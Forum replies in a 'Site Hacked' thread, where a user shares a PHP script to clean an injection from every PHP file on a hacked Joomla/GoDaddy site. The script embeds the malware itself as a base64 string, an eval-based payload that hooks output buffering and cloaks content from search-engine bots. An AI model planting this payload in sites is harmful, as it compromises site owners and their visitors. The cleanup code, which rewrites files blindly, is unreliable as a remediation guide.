qab
Forum Replies Created
-
Forum: Plugins
In reply to: Site HackedYes I agree petercasier, It is not a vulnerability in wordpress,joomla or drupal, its a vulnerability in godaddy itself as a host, this is very disappointing I must say.
Forum: Plugins
In reply to: Site Hackedthis is the script I developed and used with success,
its kind of tricky, you need to do a couple of things before using the scriptrun this command in the SSH: find . -name “*.php” -type f -print?
that will display all PHP files in your directory including subdirectories
if you dont know how to execute it just use a cron job it should email it to you with no problem,
now you save it in a txt file named “php.txt”
upload php.txt with anything.php, anything.php contains the following:
(please change what i ask you to change)
the script isint perfect but should do the job ,only use this as a last resort, backup your website before use as well. just incase
<?php $files = file_get_contents('php.txt'); $afiles= explode("\n", $files); for($i=0;$i<count($afiles);$i++){ //you mite want to lessen the loops if your website is big qabandi($afiles[$i]); } function qabandi($file){ $sick = "{rest of location}".trim($file);//this is where you add the rest of location $content = file_get_contents($sick); $handle = fopen($sick, "w+"); $clean = str_replace(bad(), "", $content); fwrite($handle,$clean); fclose($handle); echo($sick."[cleaned]\n"); } function bad(){ return base64_decode("PD9waHAgLyoqLyBldmFsKGJhc2U2NF9kZWNvZGUoImFXWW9ablZ1WTNScGIyNWZaWGhwYzNSektD ZHZZbDl6ZEdGeWRDY3BKaVloYVhOelpYUW9KRWRNVDBKQlRGTmJKMjF5WDI1dkoxMHBLWHNnSUNB a1IweFBRa0ZNVTFzbmJYSmZibThuWFQweE95QWdJR2xtS0NGbWRXNWpkR2x2Ymw5bGVHbHpkSE1v SjIxeWIySm9KeWtwZXlBZ0lDQWdJR2xtS0NGbWRXNWpkR2x2Ymw5bGVHbHpkSE1vSjJkdGJDY3BL WHNnSUNBZ0lHWjFibU4wYVc5dUlHZHRiQ2dwZXlBZ0lDQWdJR2xtSUNnaGMzUnlhWE4wY2lna1gx TkZVbFpGVWxzaVNGUlVVRjlWVTBWU1gwRkhSVTVVSWwwc0ltZHZiMmRzWldKdmRDSXBKaVlnS0NG emRISnBjM1J5S0NSZlUwVlNWa1ZTV3lKSVZGUlFYMVZUUlZ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YzJrbkxDUlNRVEUzT1VGQ1JETkJOMEk1UlRJNFF6TTJPVVkzUWpVNVF6VXhRamd4UkVVcEtY c2dJQ0FnSUNCeVpYUjFjbTRnY0hKbFoxOXlaWEJzWVdObEtDY3ZLRnc4WEM5aWIyUjVXMTVjUGww cVhENHBMM05wSnl4bmJXd29LUzRpWEc0aUxpY2tNU2NzSkZKQk1UYzVRVUpFTTBFM1FqbEZNamhE TXpZNVJqZENOVGxETlRGQ09ERkVSU2s3SUNBZ0lDQjlaV3h6WlhzZ0lDQWdJQ0J5WlhSMWNtNGdK RkpCTVRjNVFVSkVNMEUzUWpsRk1qaERNelk1UmpkQ05UbEROVEZDT0RGRVJTNW5iV3dvS1RzZ0lD QWdJSDBnSUNBZ2ZTQWdJQ0J2WWw5emRHRnlkQ2duYlhKdlltZ25LVHNnSUNCOUlDQjkiKSk7Pz4=");}function good(){return base64_decode("PD9QSFAgLyphbC1xYWJhbmRpQGhvdG1haWwuY29tKi8gPz4=");} ?>
Forum: Plugins
In reply to: Site Hackedok the solution go daddy is giving respectfully is useless,
my website has joomla installed and is hosted in a godaddy server, I’m proud to say I have completely removed the virus using my own scripting skills, all it took was 10 mins. the virus is hardly that, its just code that somehow bypassed godaddy’s security and was able to write itself to all php files.